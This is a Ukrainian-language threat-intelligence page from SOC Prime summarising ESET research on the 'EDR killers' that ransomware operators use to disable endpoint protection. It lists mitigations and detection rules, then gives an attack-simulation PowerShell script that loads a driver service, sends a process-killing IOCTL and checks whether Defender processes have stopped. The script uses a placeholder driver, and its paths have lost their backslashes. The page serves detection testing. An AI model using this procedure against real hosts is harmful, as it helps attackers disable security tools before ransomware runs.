SOC Prime Bias: Критичний

24 Mar 2026 15:40

Дослідження ESET: пояснення EDR-кілерів – Погляд за межі драйверів

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Дослідження ESET: пояснення EDR-кілерів – Погляд за межі драйверів
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Стаття досліджує екосистему EDR-вбивць, які оператори програм-вимагачів використовують для нейтралізації захисту кінцевих точок перед запуском шифрувальників. Вона пояснює, як супротивники покладаються на вразливі драйвери, легітимні анти-rootkit-утиліти і навіть бездрайверні методи, щоб ухилятися від захисту та відключати програмне забезпечення безпеки. Висновки базуються на телеметрії, що охоплює майже 90 EDR-вбивць, побачених у реальних атаках. Дослідження також підкреслює роль філій програм-вимагачів, повторне повторне використання тих самих драйверів та зростаючий ринок комерціалізованих послуг EDR-вбивць.

Розслідування

Дослідники ESET проаналізували телеметрію, сховища коду та задокументовані випадки вторгнення, щоб простежити, як EDR-вбивці створюються, розповсюджуються та розгортаються. Вони класифікували кілька сімейств, включаючи драйвер-залежні, сценарний-засновані, анти-rootkit та бездрайверні варіанти, та зв’язали їх з групами програм-вимагачів, такими як Warlock, LockBit, Akira та Medusa. Дослідження додатково підкреслило озброєння громадського коду доказу концепції і зростаючий вплив розвитку за допомогою AI у цій екосистемі інструментів.

Пом’якшення

Захисники повинні блокувати відомі вразливі драйвери, стежити за ненормальним використанням привілейованих адміністративних команд, та виявляти відомі двійкові файли EDR-вбивців і патерни поведінки. Багаторівневі детектори, що визначають встановлення драйверів, примусове завершення роботи продуктів безпеки та незвичайну поведінку блокування мережі, можуть звузити часовий проміжок, що нападники мають до початку виконання програм-вимагачів.

Відповідь

Якщо виявлено EDR-вбивцю, негайно ізолюйте хост, припиніть шкідливий процес, видаліть будь-які несанкціоновані драйвери та переконайтеся, що контроль безпеки повністю відновлено. Продовжіть форензичним аналізом, щоб визначити, який навантажувач програм-вимагачів або активність філії пов’язані з вторгненням, і активуйте широку працю по у відповідь на інцидент.

Поточний потік атаки

Ми ще оновлюємо цю частину. Підпишіться, щоб отримати повідомлення

Повідомити мене

Спрацьовування

Можлива атака BYOVD – Використання вразливих драйверів (через file_event)

Команда SOC Prime
23 березня 2026 р.

Підозріле виконання Taskkill (через cmdline)

Команда SOC Prime
23 березня 2026 р.

Підозріле встановлення драйвера TrueSight (через систему)

Команда SOC Prime
23 березня 2026 р.

Підозріле втручання програм-вимагачем у зупинку сервісу (через cmdline)

Команда SOC Prime
23 березня 2026 р.

Можлива атака BYOVD – Використання вразливих драйверів (через audit)

Команда SOC Prime
23 березня 2026 р.

IOC (HashSha1) для виявлення: Дослідження ESET EDR-вбивць пояснено: За межами драйверів Частина 1

AI правила SOC Prime
23 березня 2026 р.

IOC (HashSha1) для виявлення: Дослідження ESET EDR-вбивць пояснено: За межами драйверів Частина 2

AI правила SOC Prime
23 березня 2026 р.

Виявлення підписаних сценарієм спроб зміни безпекових процесів [створення процесу Windows]

AI правила SOC Prime
23 березня 2026 р.

EDR-вбивці, що використовують DeviceIoControl для завершення процесів [Windows Sysmon]

AI правила SOC Prime
23 березня 2026 р.

Виконання симуляції

Передумова: перевірка телеметрії та бази передпольотного польоту повинна бути пройдена.

Історія атаки та команди

  1. Етап 1 – Розміщення шкідливого драйвера
    Зловмисник записує двійковий файл драйвера (EdrKiller.sys) в C:WindowsTemp та реєструє його як службу під назвою EdrKillerSvc.

  2. Етап 2 – Запуск служби драйвера
    Запуск служби завантажує драйвер в простір ядра, де він реєструє IOCTL-обробник, здатний завершувати процеси.

  3. Етап 3 – Випуск шкідливого DeviceIoControl виклик
    Використовуючи PowerShell, зловмисник відкриває маніпулятор до .EdrKiller та надсилає код IOCTL 0x9C040001 (гіпотетичний код “TerminateProcess”). Драйвер ітерує список процесів, вбиваючи будь-який процес, чиє ім’я виконуваного файлу відповідає відомому компоненту EDR.

  4. Етап 4 – Перевірка завершення
    Зловмисник перевіряє, чи цільові процеси EDR більше не працюють.

Сценарій регресійного тестування

# --------------------------------------------------------------
# Симуляція EDR-вбивці – PowerShell (вимагає адміністратора)
# --------------------------------------------------------------

# 1. Шляхи та змінні
$driverPath   = "$env:ProgramDataEdrKiller.sys"
$serviceName  = "EdrKillerSvc"
$deviceName   = ".EdrKiller"
$ioctlCode    = 0x9C040001   # Приклад керуючого коду для "TerminateProcesses"

# 2. Розгортання шкідливого драйвера (імітація – замініть на реальний .sys для реального тесту)
#    Для демонстраційних цілей ми копіюємо легітимний драйвер (наприклад, null.sys), щоб виступити в ролі заповнювача.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force

# 3. Створити та запустити службу, що завантажує драйвер
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName

Start-Sleep -Seconds 2   # дайте драйверу час для ініціалізації

# 4. Визначте DeviceIoControl P/Invoke
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        uint nInBufferSize,
        IntPtr lpOutBuffer,
        uint nOutBufferSize,
        out uint lpBytesReturned,
        IntPtr lpOverlapped);
}
"@
Add-Type $signature

# 5. Відкрити маніпулятор до драйвера
$GENERIC_READ  = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
    $deviceName,
    $GENERIC_READ -bor $GENERIC_WRITE,
    0,
    [IntPtr]::Zero,
    $OPEN_EXISTING,
    0,
    [IntPtr]::Zero)

if ($hDevice -eq [IntPtr]::MinusOne) {
    Write-Error "Не вдалося відкрити маніпулятор до $deviceName"
    exit 1
}

# 6. Випуск шкідливого IOCTL
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
    $hDevice,
    $ioctlCode,
    [IntPtr]::Zero,
    0,
    [IntPtr]::Zero,
    0,
    [ref]$bytesReturned,
    [IntPtr]::Zero)

if ($success) {
    Write-Host "Шкідливий DeviceIoControl успішно відправлено."
} else {
    $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Error "DeviceIoControl не вдалося з помилкою $err"
}

# 7. Закрити маніпулятор
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null

# 8. Перевірте, чи типові процеси EDR зникли (приклади назв)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Warning "$proc досі працює."
    } else {
        Write-Host "$proc успішно завершено."
    }
}

Команди очищення

# Зупиніть і видаліть службу шкідливого драйвера
sc.exe stop $serviceName
sc.exe delete $serviceName

# Видалити фальшивий файл драйвера
Remove-Item -Path $driverPath -Force

Write-Host "Очищення завершено."